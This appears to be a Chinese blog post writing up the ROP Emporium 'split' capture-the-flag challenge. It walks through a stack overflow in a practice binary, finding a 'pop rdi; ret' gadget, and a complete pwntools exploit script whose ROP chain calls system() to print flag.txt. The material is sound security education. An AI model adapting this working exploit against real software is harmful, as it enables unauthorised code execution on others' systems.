rop练习--split

这里只是一道简单的栈溢出问题,但是因为设置NX,所以要通过rop来执行shellcode。 参考链接:https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08

前期信息搜集

这篇文章里前期用到了radare2这个工具来查看程序信息,之前没用过,学习一波。 用rabin2 -I 来查看程序的架构等信息,其实用file就可以。

用rabin2 -izz 来查找信息,用strings也是可以的。

然后用checksec查看一下防护措施:

查看反汇编

main函数:

pwnme函数:

很明显s数组是0x20的大小,而后面的fgets却接受了96大小的数据。

usefulFunction函数:

竟然还有这种函数,好吧,我是看腾讯玄武每日推送打开这篇文章的。。。

现在就看看怎么构造rop了?

X64 下函数参数传递的顺序为:RDI,RSI,RDX,R10,R8,R9,所以我们把system里的参数变成”/bin/cat flag.txt“就行了,即这个参数传入rdi寄存器中。用ropper搜索 ”pop rdi; ret;“,pop rdi;就是将栈顶的数据弹给rdi,然后ret返回执行栈中的下一条指令,我们填充的system的地址,这样我们就实现攻击了。

rop的步骤:

  • 利用fgets()来填充buffer,将返回地址覆盖为pwnme的地址
  • 建立rop链把’/bin/cat flag.txt’传入RDI寄存器
  • 调用system()

exp.py

# coding: utf-8
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('split')
system_addr = 0x400810
cat_addr = 0x601060
pop_rdi_ret = 0x400883
fake_ret = 0x42424242
p = process(elf.path)
p.sendline(cyclic(128))#产生128个随机字符
p.wait()
core = p.corefile#获取崩溃文件,根据崩溃文件来得到rsp的地址
stack = core.rsp
info("stack: %#x",stack)
pattern = core.read(stack,4)#读取rsp保存的内容,即随机字符
offset = cyclic_find(pattern)#根据随机字符找偏移,这里其实简单一算:0x20+8(rbp)=0x28=40个偏移
info("pattern: %r", pattern)
info("offset: %d",offset)
rop_chain = p64(pop_rdi_ret)
rop_chain += p64(cat_addr)
rop_chain += p64(system_addr)
rop_chain += p64(fake_ret)
padding = cyclic(offset)
payload = padding + rop_chain
p = process(elf.path)
p.sendline(payload)
p.interactive()

运行结果图:

结论

这篇文章讲的这道还是很简单的,了解了radare2这个工具,下面这个网站上有很多rop的题可以练习,然后之前还看到一个srop的东西,抽空把这个坑填上。

split下载地址:https://ropemporium.com/

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券